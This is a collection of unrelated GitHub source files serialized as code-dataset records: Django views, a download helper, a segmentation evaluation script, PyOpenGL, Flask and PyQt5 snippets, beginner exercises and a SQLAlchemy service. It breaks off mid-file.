django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.exceptions import PermissionDenied\n\nfrom chirps.models import Chirp\nfrom users.models import Profile\nfrom .forms import RegisterForm, LoginForm, ChangeUserForm, ChangeProfileForm, CreateChirpForm\n\n\ndef register(request):\n if request.method == \"POST\":\n form = RegisterForm(request.POST)\n if form.is_valid():\n user = form.save()\n name = (\n form.cleaned_data.get(\"first_name\")\n + \" \"\n + form.cleaned_data.get(\"last_name\")\n )\n messages.success(\n request,\n f\"A new bird has hatched successfully! Welcome to the new world, {name}! You are now able to login.\",\n )\n Profile.objects.create(user=user)\n return redirect(\"login\")\n else:\n form = RegisterForm()\n return render(request, \"users/register.html\", {\"form\": form, \"title\": \"Sign up for Beak\"})\n\n\ndef signin(request):\n if request.method == \"POST\":\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n messages.success(request, \"Logged in successfully.\")\n return redirect(\"ui-home\")\n else:\n messages.error(\n request, \"Username or Password incorrect. Please try again.\")\n\n return render(request, \"users/login.html\", {\"form\": LoginForm(), \"title\": \"Login to Beak\"})\n\n\ndef signout(request):\n logout(request)\n messages.success(request, \"Logged out successfully\")\n return redirect(\"ui-home\")\n\n\ndef profile(request, username):\n profile_user = User.objects.get(username=username)\n profile_chirps = Chirp.objects.all().filter(\n author=profile_user).order_by('date_chirped').reverse()\n profile_profile = profile_user.profile\n return render(request, \"users/profile.html\", context={\"profile_user\": profile_user, \"profile_chirps\": profile_chirps, \"profile\": profile_profile, \"title\": f\"{profile_user.get_full_name()}'s Profile\"})\n\n\n@ login_required\ndef change_profile(request, username):\n user = request.user\n edit_user = User.objects.get(username=username)\n if user == edit_user:\n if request.method == \"POST\":\n user_form = ChangeUserForm(request.POST, instance=user)\n profile_form = ChangeProfileForm(\n request.POST, instance=user.profile)\n if user_form.is_valid and profile_form.is_valid:\n user_form.save()\n profile_form.save()\n messages.success(\n request, \"Account information changed successfully\")\n return redirect(\"ui-home\")\n else:\n user_form = ChangeUserForm(instance=user)\n profile_form = ChangeProfileForm(instance=user.profile)\n return render(request, \"users/change_profile.html\", {\"user_form\": user_form, \"profile_form\": profile_form, \"username\": user.username, \"title\": \"Edit your Profile\"})\n raise PermissionDenied()\n","repo_name":"mw491/Beak","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"5121871949","text":"# -*- coding: utf-8 -*-\n\"\"\"\ndownloading with progress information\nbased on:\nhttp://stackoverflow.com/questions/2028517/python-urllib2-progress-hook\n\"\"\"\nimport sys\n\ntry: # Python 2\n from urllib2 import urlopen, HTTPError, URLError\nexcept ImportError: # Python 3\n from urllib.request import urlopen\n from urllib.error import HTTPError, URLError\n\ndef _chunk_report(bytes_so_far, chunk_size, total_size):\n if total_size:\n percent = float(bytes_so_far) / total_size\n percent = round(percent*100, 2)\n sys.stdout.write(\"Downloaded %d of %d bytes (%0.2f%%)\\r\" %\n (bytes_so_far, total_size, percent))\n\n if bytes_so_far >= total_size:\n sys.stdout.write('\\n')\n else:\n sys.stdout.write(\"Downloaded %d bytes\\r\" % bytes_so_far)\n\n\ndef _chunk_download(url, path, chunk_size=8192, report_hook=None):\n \"\"\"\n response hook = None -> select response hook automatically\n response hook = False -> do not use response hook\n \"\"\"\n response = urlopen(url)\n total_size = response.info()['Content-Length']\n if total_size:\n total_size = total_size.strip()\n total_size = int(total_size)\n bytes_so_far = 0\n\n f = open(path, \"wb\")\n\n while 1:\n chunk = response.read(chunk_size)\n bytes_so_far += len(chunk)\n f.write(chunk)\n\n if not chunk:\n break\n\n if report_hook is None:\n _chunk_report(bytes_so_far, chunk_size, total_size)\n f.close()\n\n return bytes_so_far\n\ndef download(url, path, report_hook=None, verbose=True):\n if verbose:\n print(url)\n _chunk_download(url, path, report_hook=None)\n\n\nif __name__ == '__main__':\n download(\"http://www.modrana.org/om2012/mobile_os_om2012.odp\", \"test.odp\")\n\n","repo_name":"M4rtinK/mieru","sub_path":"providers/progressive_download.py","file_name":"progressive_download.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"61"} +{"seq_id":"32534639748","text":"\"\"\"Check dataset tables for duplicates in the unique_id columns\"\"\"\n\n# Standard library imports\nimport itertools\nimport pathlib\n\n# Third party imports\nimport pandas as pd\n\n# Geo:N:G imports\nfrom app import config\nfrom geong_common import log\nfrom geong_common import readers\nfrom geong_common.log import logger\n\nDATASETS = [\"deep\", \"shallow\"]\nTABLES = [\"systems\", \"complexes\", \"elements\"]\nEXCEL_PATH = pathlib.Path(\"duplicates.xlsx\").resolve()\n\nlog.init()\nexcel = pd.ExcelWriter(EXCEL_PATH, engine=\"xlsxwriter\")\n\nfor dataset, table in itertools.product(DATASETS, TABLES):\n data = readers.read_all(config.app.apps.reader, dataset, table)\n duplicated_ids = (\n data.groupby(\"unique_id\")\n .size()\n .to_frame()\n .rename(columns={0: \"count\"})\n .query(\"count > 1\")\n .reset_index()\n )\n num_duplicates = len(duplicated_ids)\n log_func = logger.info if num_duplicates == 0 else logger.warning\n log_func(f\"Found {num_duplicates} duplicates in {dataset}.{table}\")\n (\n duplicated_ids.merge(data, on=\"unique_id\", how=\"left\").to_excel(\n excel, sheet_name=f\"{dataset}-{table}\"\n )\n )\n\nlogger.info(f\"Storing duplicate information in {EXCEL_PATH}\")\nexcel.save()\n","repo_name":"equinor/net_to_gross_calculator","sub_path":"scripts/check_unique.py","file_name":"check_unique.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"17710332069","text":"import numpy as np\nimport torch\nimport json\n\ndef print_per_class_iou(class_iou,\n class_name_list_in,\n line_width=6,\n cell_width=12):\n class_name_list = class_name_list_in.copy()\n name_len = len(class_name_list)\n class_iou = list(class_iou)\n mean_iou = sum(class_iou)/name_len\n class_iou = ['{:.2%}'.format(i) for i in class_iou]\n if name_len % line_width != 0 and name_len//line_width > 1:\n lines = name_len//line_width + 1\n for k in range(line_width - name_len % line_width):\n class_iou.append(' ')\n class_name_list.append(' ')\n elif name_len//line_width > 1:\n lines = name_len//line_width\n else:\n lines = 1\n\n for k in range(lines):\n K = k*line_width\n class_name_list_tem = class_name_list[K:K+line_width]\n class_iou_tem = class_iou[K:K+line_width]\n name_list = ''.join(['|{:{align}{width}}'.format(\n i, align='^', width=cell_width) for i in class_name_list_tem])+'|'\n print(len(name_list)*'-')\n print(name_list)\n print(len(name_list)*'-')\n print(''.join(['|{:{align}{width}}'.format(\n i, align='^', width=cell_width) for i in class_iou_tem])+'|')\n\n print(len(name_list)*'-')\n acc_out = 'Mean IoU {:.2%}'.format(mean_iou)\n print('|' +\n '{:{align}{width}}'.format(acc_out, align='^',\n width=line_width*(cell_width+1)-1)\n + '|')\n print(len(name_list)*'-')\n\n\ndef _fast_hist(label_pred, label_true, num_classes):\n mask = (label_true >= 0) & (label_true < num_classes)\n hist = np.bincount(\n num_classes * label_true[mask].astype(int) +\n label_pred[mask], minlength=num_classes ** 2).reshape(num_classes, num_classes)\n return hist\n\n\ndef _evaluate(predictions, gts, num_classes):\n hist = np.zeros((num_classes, num_classes))\n for lp, lt in zip(predictions, gts):\n hist += _fast_hist(lp.flatten(), lt.flatten(), num_classes)\n # axis 0: gt, axis 1: prediction\n acc = np.diag(hist).sum() / hist.sum()\n acc_cls = np.diag(hist) / hist.sum(axis=1)\n acc_cls = np.nanmean(acc_cls)\n iu = np.diag(hist) / (hist.sum(axis=1) + hist.sum(axis=0) - np.diag(hist))\n mean_iu = np.nanmean(iu)\n freq = hist.sum(axis=1) / hist.sum()\n fwavacc = (freq[freq > 0] * iu[freq > 0]).sum()\n return acc, acc_cls, iu, mean_iu, fwavacc\n\n\n# ------------------------------------------------------------------------------\n# ----- OBSOLETE IMPLEMENTATION, NOT CONSISTENT WITH OFFICIAL EVALUATION ------\n# ------------------------------------------------------------------------------\n# def test_miou(\n# model, loader, upsample=None,\n# info_path=None, num_classes=19,\n# writer=None, print_results=True,\n# ):\n# model.eval()\n# gts_all, predictions_all = [], []\n# with torch.no_grad():\n# for idx, data in enumerate(loader):\n# inputs, gts = data[0].cuda(), data[1]\n# N = inputs.size(0)\n\n# outputs = model(inputs)\n# if isinstance(outputs, (list, tuple)):\n# outputs = outputs[0]\n# if upsample is not None:\n# outputs = upsample(outputs)\n# predictions = outputs.data.max(1)[1].squeeze_(1).cpu()\n\n# gts_all.append(gts.numpy())\n# predictions_all.append(predictions.numpy())\n\n# gts_all = np.concatenate(gts_all)\n# predictions_all = np.concatenate(predictions_all)\n\n# acc, acc_cls, iu, mean_iu, fwavacc = _evaluate(\n# predictions_all, gts_all, num_classes\n# )\n# if print_results:\n# if info_path:\n# with open(info_path, 'r') as fp:\n# info = json.load(fp)\n# name_classes = info['label']\n# print_per_class_iou(iu, name_classes, line_width=7)\n# else:\n# print(100*'-')\n# print(f'Mean IoU: {mean_iu:.3f}')\n# print(100*'-')\n# return mean_iu\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n\n\ndef get_confusion_matrix(gt_label, pred_label, class_num):\n index = (gt_label * class_num + pred_label).astype('int32')\n label_count = np.bincount(index)\n confusion_matrix = np.zeros((class_num, class_num))\n\n for i_label in range(class_num):\n for i_pred_label in range(class_num):\n cur_index = i_label * class_num + i_pred_label\n if cur_index < len(label_count):\n confusion_matrix[i_label,i_pred_label] = label_count[cur_index]\n\n return confusion_matrix\n\n\ndef test_miou(\n model, loader, upsample=None,\n info_path=None, num_classes=19,\n writer=None, print_results=True,\n):\n model.eval()\n confusion_matrix = np.zeros((num_classes, num_classes))\n with torch.no_grad():\n for idx, data in enumerate(loader):\n inputs, gts = data[0].cuda(), data[1]\n N = inputs.size(0)\n\n outputs = model(inputs)\n if isinstance(outputs, (list, tuple)):\n outputs = outputs[0]\n if upsample is not None:\n outputs = upsample(outputs)\n predictions = outputs.data.argmax(dim=1).cpu().numpy()\n gts = gts.numpy()\n for gt, prediction in zip(gts, predictions):\n ignore_index = gt != 255\n gt = gt[ignore_index]\n prediction = prediction[ignore_index]\n confusion_matrix += get_confusion_matrix(\n gt, prediction, num_classes\n )\n\n pos = confusion_matrix.sum(1)\n res = confusion_matrix.sum(0)\n tp = np.diag(confusion_matrix)\n\n iu = (tp / np.maximum(1.0, pos + res - tp))\n mean_iu = iu.mean()\n\n if print_results:\n if info_path:\n with open(info_path, 'r') as fp:\n info = json.load(fp)\n name_classes = info['label']\n print_per_class_iou(iu, name_classes, line_width=7)\n else:\n print(100*'-')\n print(f'Mean IoU: {mean_iu:.3f}')\n print(100*'-')\n return mean_iu\n\n\n\ndef cls_evaluate(model, data_loader):\n model.eval()\n class_name_list = data_loader.dataset.classes\n num_classes = len(class_name_list)\n class_acc = np.zeros(num_classes)\n samples_per_class = np.zeros(num_classes)\n for batch_idx, batch in enumerate(data_loader):\n inputs, labels = batch[0].cuda(), batch[1].cuda()\n outputs = model(inputs)\n _, predict_labels = torch.max(outputs, 1)\n for index, predict_label in enumerate(predict_labels):\n tem_true_tensor = labels[index] == predict_label\n class_acc[labels[index]] += tem_true_tensor.item()\n samples_per_class[labels[index]] += 1\n acc = np.sum(class_acc)/np.sum(samples_per_class)\n return acc\n","repo_name":"lsongx/APL","sub_path":"torch_submit/utils/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":7010,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"20996624365","text":"from OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom OpenGL.GLUT import *\nimport math\nimport time\nref_x = 0\nref_y = 0\ninitPosition = 1\n\ndef clearScreen():\n gluOrtho2D(-100, 100, -100, 100)\n glClearColor(0.0, 0.0, 0.0, 1.0)\ndef bird():\n global ref_x,ref_y\n glClear(GL_COLOR_BUFFER_BIT)\n glColor(0,.8,.2)\n glBegin(GL_TRIANGLE_FAN)#body\n for i in range(0,360,1):\n theta = math.pi * (i/180)\n x = ref_x + 20*math.cos(theta)\n y = ref_y +10 * math.sin(theta)\n glVertex2f(x,y)\n glEnd()\n glColor3f(0,0,0)\n glPointSize(5)\n glBegin(GL_POINTS)#eyes\n glVertex2f(ref_x+15,ref_y+2)\n glEnd()\n wings()#wings\n beak()#beak\n tail()\n glFlush()\ndef beak():\n global ref\n glColor3f(1,.5,0)\n glBegin(GL_TRIANGLES)\n glVertex2f(ref_x+19,ref_y+2)\n glVertex2f(ref_x+19,ref_y-2)\n glVertex2f(ref_x+23,ref_y) \n glEnd() \ndef tail():\n global ref_x,ref_y\n glColor3f(0,.8,.2)\n glBegin(GL_TRIANGLES)\n glVertex2f(ref_x-25,ref_y+10)\n glVertex2f(ref_x-25,ref_y-4)\n glVertex2f(ref_x-16,ref_y) \n glEnd() \ndef wings():\n global ref_x,initPosition,ref_y\n glColor3f(0,0.5,1)\n glBegin(GL_TRIANGLES)\n glVertex2f(ref_x-5,ref_y)\n glVertex2f(ref_x+5,ref_y)\n if initPosition%2 == 0:\n glVertex2f(ref_x,ref_y+15) \n else:\n glVertex2f(ref_x,ref_y-15) \n glEnd()\n \ndef move(key,x,y):\n global ref_x,initPosition,ref_y\n key = key.decode()\n initPosition+=1\n if(key == \"w\"):\n ref_y +=2\n bird()\n if(key == \"s\"):\n ref_y -=2 \n bird() \n if(key == \"a\"):\n ref_x -=2\n bird()\n if(key == \"d\"):\n ref_x+=2 \n bird() \ndef main():\n \n glutInit()\n glutInitWindowSize(1000, 1000)\n glutCreateWindow(\"Bird\")\n glutInitWindowPosition(1000, 1000)\n glutDisplayFunc(bird)\n glutKeyboardFunc(move)\n\n clearScreen()\n glutMainLoop()\n\n\nmain()\n","repo_name":"NithinYesudas/PyOpenGL","sub_path":"bird_flying.py","file_name":"bird_flying.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"42254645328","text":"\"\"\"Exercício Python 56:\n\nDesenvolva um programa que leia o nome, idade e sexo de 4 pessoas:\nNo final do programa, mostre:\n> a média de idade do grupo; ✓\n> qual é o nome do homem mais velho;\n> quantas mulheres têm menos de 20 anos.\n\"\"\"\n\n# fiz sozinho = ✓\n\n# variáveis:\nsoma = 0\nmaioridadehomem = 0\nnomevelho = ''\ntotmulher20 = 0\n\n# bloco:\nfor pessoa in range(1, 5):\n print('---- {}ª PESSOA ----'.format(pessoa))\n nome = str(input('Nome: ')).strip()\n idade = int(input('Idade: '))\n sexo = str(input('Sexo [M/F]: ')).strip().upper()\n\n # média das idades: ✓\n soma += idade\n media = soma / pessoa\n\n # nome do homem mais velho:\n if pessoa == 1 and sexo == 'M':\n maioridadehomem = idade\n nomevelho = nome\n if sexo == 'M' and idade > maioridadehomem:\n maioridadehomem = idade\n nomevelho = nome\n\n # mulheres com menos 20 anos:\n if sexo == 'F' and idade < 20:\n totmulher20 += 1\n\nprint('')\n\n# saídas:\nprint('A média de idade do grupo é de {} anos;'.format(media))\nprint('O homem mais velho tem {} anos e se chama {};'.format(maioridadehomem, nomevelho))\nprint('E ao todo, são {} mulheres com menos de 20 anos.'.format(totmulher20))\n","repo_name":"henriky-sena/Atividades_CursosEmVideo_Python","sub_path":"atividade056.py","file_name":"atividade056.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5700549996","text":"# SW Expert Academy - 14361번. 숫자가 같은 배수\n\n\ndef perm(k, length):\n if k == length:\n num = int(''.join(candi))\n if len(str(num)) == length:\n num_list.append(num)\n return\n\n for i in range(length):\n if not visited[i]:\n visited[i] = True\n candi[k] = N[i]\n perm(k + 1, length)\n visited[i] = False\n\n\nT = int(input())\n\nfor tc in range(1, T + 1):\n N = list(map(str, input()))\n original = int(''.join(N))\n num_list = []\n length = len(N)\n candi = [0] * length\n visited = [False] * length\n perm(0, length)\n check = False\n # 순열을 활용해서 기존의 값과 다르고 기존의 값과 나머지 연산해서 0이 나오면 그 배수를 뜻한다.\n for num in num_list:\n if num != original and num % original == 0:\n check = True\n break\n if check:\n print('#{} possible'.format(tc))\n else:\n print('#{} impossible'.format(tc))\n\n","repo_name":"wnstj-yang/Algorithm","sub_path":"SWEA/D3/SWEA_14361.py","file_name":"SWEA_14361.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31330280884","text":"\nimport re\n\nnothing_sentinent = object()\n\ndef parse_convenient_obj_repr(s, macros=None):\n \"使用一个标点符号和字符串表示一个简单对象,比如是数字/字符串/真假\"\n if s is None:\n return nothing_sentinent\n m = re.match(r\"([=;:\\+\\-\\?!\\^])(.*)\", s)\n if not m:\n return nothing_sentinent\n type, value = m[1], m[2]\n obj = None\n if type == \"=\":\n obj = value\n elif type == \";\":\n obj = int(value)\n elif type == \":\":\n obj = float(value)\n elif type == \"+\":\n obj = True\n elif type == \"-\":\n obj = False\n elif type == \"?\":\n obj = None\n elif type == \"!\":\n obj = macros.get(value, nothing_sentinent) if macros is not None else nothing_sentinent\n elif type == \"^\":\n obj = macros is not None and value in macros\n else:\n raise ValueError(f\"invalid type indicator {type} in {s}\")\n return obj\n\ndef parse_convenient_pair(s, macros=None):\n \"使用一个key和convenient obj repr相连,代表一个键-值对\"\n m = re.match(r\"(.*?)([=;:\\+\\-\\?!\\^].*)\", s)\n if not m:\n return nothing_sentinent, nothing_sentinent\n key, repr = m[1], m[2]\n obj = parse_convenient_obj_repr(repr, macros=macros)\n return key, obj\n\ndef parse_convenient_dict(s, macros=None, delimiter=\",\"):\n \"解析convenient pair组成的dict\"\n styles = {}\n for piece in s.split(delimiter):\n key, obj = parse_convenient_pair(piece, macros=macros)\n if obj is nothing_sentinent: # 如果obj没有内容,则跳过该obj\n continue\n styles[key] = obj\n return styles\n\ndef parse_convenient_list(s, delimiter=\"|\", lower=lambda x: x):\n \"使用'|'分隔开的参数中的若干个部分\"\n arguments = []\n for piece in s.split(delimiter):\n obj = lower(piece)\n arguments.append(obj)\n return arguments\n\n","repo_name":"geezmolycos/mikagame","sub_path":"styleml/convenient_argument.py","file_name":"convenient_argument.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"75142823234","text":"\"\"\"\nCreate the below pattern using nested for loop in Python.\n\n*\n* *\n* * *\n* * * *\n* * * * *\n* * * *\n* * *\n* *\n*\n\"\"\"\n\n# Set variables. Since using range function in for loop\n# Upper limit is non-inclusive\n# To calculate MAX = max number of '*' in middle row + 2\nMIN=2\nMAX=12\nAVG=int(MAX/2)\n\nfor number_of_iter in range(MIN, MAX):\n\n # Init row to be printed\n row_to_print = \"\"\n\n if number_of_iter <= AVG:\n # For iterations 2,3,4,5 - Enter here\n upper_limit = number_of_iter\n else: \n # For iterations 6,7,8,9,10,11 - Enter here\n upper_limit = MAX - number_of_iter\n \n # use range function: upper_limit is always non-inclusive\n # Corner cases will get eliminated\n for loopvar in range(1,upper_limit):\n row_to_print = row_to_print + \" \" + \"*\"\n\n # Remove preceeding space and nulls during print to console\n if len(row_to_print.strip()) > 0:\n print (row_to_print.strip())\n","repo_name":"emailksravi/DataScience_Assignment_2.2","sub_path":"pattern_display.py","file_name":"pattern_display.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"38532594614","text":"from setuptools import setup, find_packages\nfrom Cython.Build import cythonize\nimport os\n\n# Use Semantic Versioning, http://semver.org/\nversion_info = (0, 1, 12, '')\n__version__ = '%d.%d.%d%s' % version_info\n\n\nsetup(name='ABRPlotting',\n version=__version__,\n description='Plotting package for manislab abrs',\n url='http://github.com/pbmanis/ABRPlotting',\n author='Paul B. Manis',\n author_email='pmanis@med.unc.edu',\n license='MIT',\n packages=find_packages(include=['src*']),\n zip_safe=False,\n entry_points={\n 'console_scripts': [\n 'abrp=src.plotABRs:main',\n ]\n },\n classifiers = [\n \"Programming Language :: Python :: 3.8+\",\n \"Development Status :: Beta\",\n \"Environment :: Console\",\n \"Intended Audience :: Neuroscientists\",\n \"License :: MIT\",\n \"Operating System :: OS Independent\",\n \"Topic :: Scientific Software :: Tools :: Python Modules\",\n \"Topic :: Data Processing :: Neuroscience\",\n ],\n )\n ","repo_name":"pbmanis/ABRPlotting","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9000297803","text":"def step1() -> None:\n \"\"\"The story begins for the Duck-Painter. Answer the questions and enjoy this.\"\"\"\n print(\n 'Утка-маляр 🦆 решила выпить зайти в бар. '\n 'Взять ей зонтик? ☂️'\n )\n option = ''\n options = {'да': True, 'нет': False}\n while option not in options:\n print('Выберите: {}/{}'.format(*options))\n option = input()\n\n def step2_umbrella() -> None:\n \"\"\"What happens when the Duck-Painter took his/her umbrella\"\"\"\n print('Утка-маляр взяла зонтик, но на подходе к бару на нее неожиданно свалился камень. '\n 'У утки-маляра был раскрыт зонт?'\n )\n option = ''\n while option not in options:\n print('Выберите: {}/{}'.format(*options))\n option = input()\n if options[option]:\n print('Поздравляем!!! Зонт выдержал камень!\\n...У утки произошел шок. '\n 'Утка-маляр скончалась.')\n else:\n print('Ничего страшного! Камень упал мимо утки, она даже и не заметила.\\n'\n 'Утка успешно вошла в бар и напилась. Доза оказалась несопоставимой '\n 'с жизнью. Утка-маляр скончалась.')\n\n def step2_no_umbrella() -> None:\n \"\"\"What happens when the Duck-Painter didn't take his/her umbrella\"\"\"\n print('На утку свалился камень, повреждения оказались несопоставимы с жизнью. '\n 'Утка-маляр скончалась.')\n\n if options[option]:\n return step2_umbrella()\n return step2_no_umbrella()\n\nif __name__ == '__main__':\n step1()","repo_name":"eezimin/omd","sub_path":"HW1_Zimin.py","file_name":"HW1_Zimin.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27464863930","text":"\nfrom functools import partial\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render,HttpResponse\nimport io\nfrom rest_framework.parsers import JSONParser\n\nfrom .serializers import StudentSerialzer\nfrom rest_framework.renderers import JSONRenderer\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .models import Student\n# Create your views here.\n@csrf_exempt\ndef student_create(request):\n if request.method=='POST':\n json_data=request.body\n stream=io.BytesIO(json_data)\n py_data=JSONParser().parse(stream)\n serializer=StudentSerialzer(py_data)\n if serializer.is_valid():\n serializer.save()\n res={\"msg\":\"data created\"}\n json_msg=JSONRenderer().render(res)\n return HttpResponse(json_msg,content_type=\"application/json\")\n\n json_error=JSONRenderer().render(serializer.errors)\n return HttpResponse(json_error,content_type=\"application/json\")\n@csrf_exempt\ndef studentapi(request):\n if request.method=='GET':\n json_data=request.body\n stream=io.BytesIO(json_data)\n py_data=JSONParser().parse(stream)\n id=py_data.get('id',None)\n if id is not None:\n stu=Student.objects.get(id=id)\n serializer=StudentSerialzer(stu)\n json_data=JSONRenderer().render(serializer.data)\n return HttpResponse(json_data,content_type=\"application/json\")\n \n stu=Student.objects.all()\n serializer=StudentSerialzer(stu,many=True)\n json_data=JSONRenderer().render(serializer.data)\n return HttpResponse(json_data,content_type=\"application/json\")\n\n if request.method=='PUT':\n json_data=request.body\n stream=io.BytesIO(json_data)\n py_data=JSONParser().parse(stream)\n id=py_data.get('id')\n stu=Student.objects.get(id=id)\n serializer=StudentSerialzer(stu,data=py_data,partial=True)\n if serializer.is_valid():\n serializer.save()\n res={\"msg\":\"data updated\"}\n json_msg=JSONRenderer().render(res)\n return HttpResponse(json_msg,content_type=\"application/json\")\n\n json_error=JSONRenderer().render(serializer.errors)\n return HttpResponse(json_error,content_type=\"application/json\")\n","repo_name":"Amisha760/CRUDDJANGO","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11433085386","text":"from flask import Flask, render_template, request\r\n#from scipy.misc import imshow as imshow\r\n#from scipy.misc import imread\r\n#from imageio import imread\r\n#from imageio import imwrite as imsave\r\n#from skimage.transform import resize as imresize\r\nfrom PIL import Image\r\nimport PIL.ImageOps # to invert the image\r\nimport numpy as np\r\nimport keras\r\nimport re\r\nimport sys\r\nimport os\r\nsys.path.append(os.path.abspath('./model'))\r\nfrom load import *\r\nimport base64\r\n\r\n\r\n# Initialize flask app\r\n\r\napp = Flask(__name__)\r\n\r\nglobal model, graph\r\nmodel,graph = init() # from load package\r\n\r\ndef convertImage(imgData1):\r\n imgData1 = imgData1.decode('utf-8')\r\n imgstr = re.search(r'base64,(.*)',imgData1).group(1)\r\n with open('output.png', 'wb') as output:\r\n output.write(base64.b64decode(imgstr))\r\n\r\n@app.route('/') #if the user is in the main page, serve them the index.\r\ndef index():\r\n return render_template('index.html')\r\n \r\n@app.route('/predict', methods =['GET', 'POST'])\r\ndef predict():\r\n imgData = request.get_data() # raw serialized data, needs reshaping so that it's fit for the model\r\n convertImage(imgData)\r\n im = Image.open('output.png').convert(\"L\") # returns image object\r\n #out_img = imread('output.png')\r\n #im = PIL.ImageOps.invert(im) \r\n #out_img = np.invert(out_img)\r\n im = im.resize((28,28))\r\n #out_img = imresize(out_img, (28,28))\r\n im = np.reshape(im, (1,28,28,1))\r\n #out_img = out_img.reshape(1, 28,28,1)\r\n\r\n with graph.as_default():\r\n out = model.predict(im)\r\n print(out)\r\n print(np.argmax(out, axis=1))\r\n response = np.array_str(np.argmax(out, axis = 1))\r\n return response\r\nif __name__ == '__main__':\r\n port = int(os.environ.get('PORT', 5000))\r\n app.run(host = '127.0.0.1', port = port)\r\n\r\n","repo_name":"benignavesh/mnist_digit_recognition","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35405762699","text":"from argparse import ArgumentError\nfrom sqlalchemy.orm import joinedload,Query,selectinload\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom sqlalchemy.future import select\nfrom sqlalchemy import update,delete\nfrom models import Department\n\nclass DeparmentAsyncService:\n def __init__(self,db:AsyncSession) -> None:\n self._db = db\n \n\n async def get_all_async(self, location_id: int = 0, skip: int = 0, limit: int = 100) -> list[Department]:\n q :Query = select(Department)\n if location_id > 0:\n q = q.where(Department.location_id == location_id)\n q = q.offset(skip).limit(limit)\n results = await self._db.execute(q)\n return results.scalars().all()\n\n async def get_one_async(self, department_id: int) -> Department:\n q:Query = select(Department)\n q = q.options(\n selectinload(Department.location),\n selectinload(Department.employees),\n selectinload(Department.job_histories))\\\n .filter(Department.department_id == department_id).limit(1)\n \n results = await self._db.execute(q)\n return results.scalars().first()\n\n async def create_one_async(self, department: Department):\n if not isinstance(department, Department):\n raise ArgumentError(\n department, f\"argument type is invalid {department}\")\n \n self._db.add(department)\n\n async def update_one_async(self, department: Department):\n if not isinstance(department, Department):\n raise ArgumentError(department, \"Must be a Department type\")\n attrs = {column: getattr(department, column) for column in Department.__table__.columns.keys()}\n q = update(Department)\\\n .where(Department.department_id == department.department_id)\\\n .values(**attrs)\\\n .execution_options(synchronize_session=\"fetch\")\n await self._db.execute(q)\n\n async def delete_one_async(self, department_id):\n q = delete(Department).where(Department.department_id == department_id)\n await self._db.execute(q)","repo_name":"rusenburn/HR","sub_path":"server/src/services/departments.py","file_name":"departments.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3781641248","text":"\"\"\"\npyqt5 窗口程序\n\"\"\"\nimport sys # 系统配置库\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLabel, QPushButton\n\"\"\"\nQApplication: 应用类 一个QT程序必须构造一个应用类实例\nQWidget: 窗口类(面板) 可以摆放控件\nQLabel: 标签控件 可以显示文字 也可以显示图片/gif \nQPushButton: 按钮控件 可以接受用户点击 \n\"\"\"\n\nclass BasicQt(QWidget):\n def __init__(self):\n # 调用父类的构造函数 做初始化\n super().__init__()\n self.init_ui()\n\n def setText(self):\n \"\"\"\n 自定义槽函数 修改Qlabel文字\n setText()\n \"\"\"\n self.lbl.setText('Hello PYQT5~~~~~')\n\n def init_ui(self):\n # 初始化ui\n # 设置窗口\n self.resize(600, 400)\n self.lbl = QLabel('图形化界面程序', self)\n\n \"\"\"\n 坐标系:\n 窗口的左上角(0.0)\n 水平方向向右为x轴正方向 0-599\n 垂直方向向下为y轴正方向 0-399\n move函数的参数为移动后的控件位置 不是相对当前位置的偏移量\n \"\"\"\n\n self.lbl.move(0, 200)\n self.lbl.move(300, 0)\n\n # 构造一个按钮\n self.btn = QPushButton('退出程序', self)\n self.btn.move(480, 360)\n\n \"\"\"\n 信号与槽函数机制\n 功能:点击按钮的时候 退出程序\n 将按钮的clicked点击信号 绑定到退出程序函数上\n \"\"\"\n\n self.btn.clicked.connect(exit)\n self.setLblTextBtn = QPushButton('修改文字', self)\n self.setLblTextBtn.move(200, 350)\n 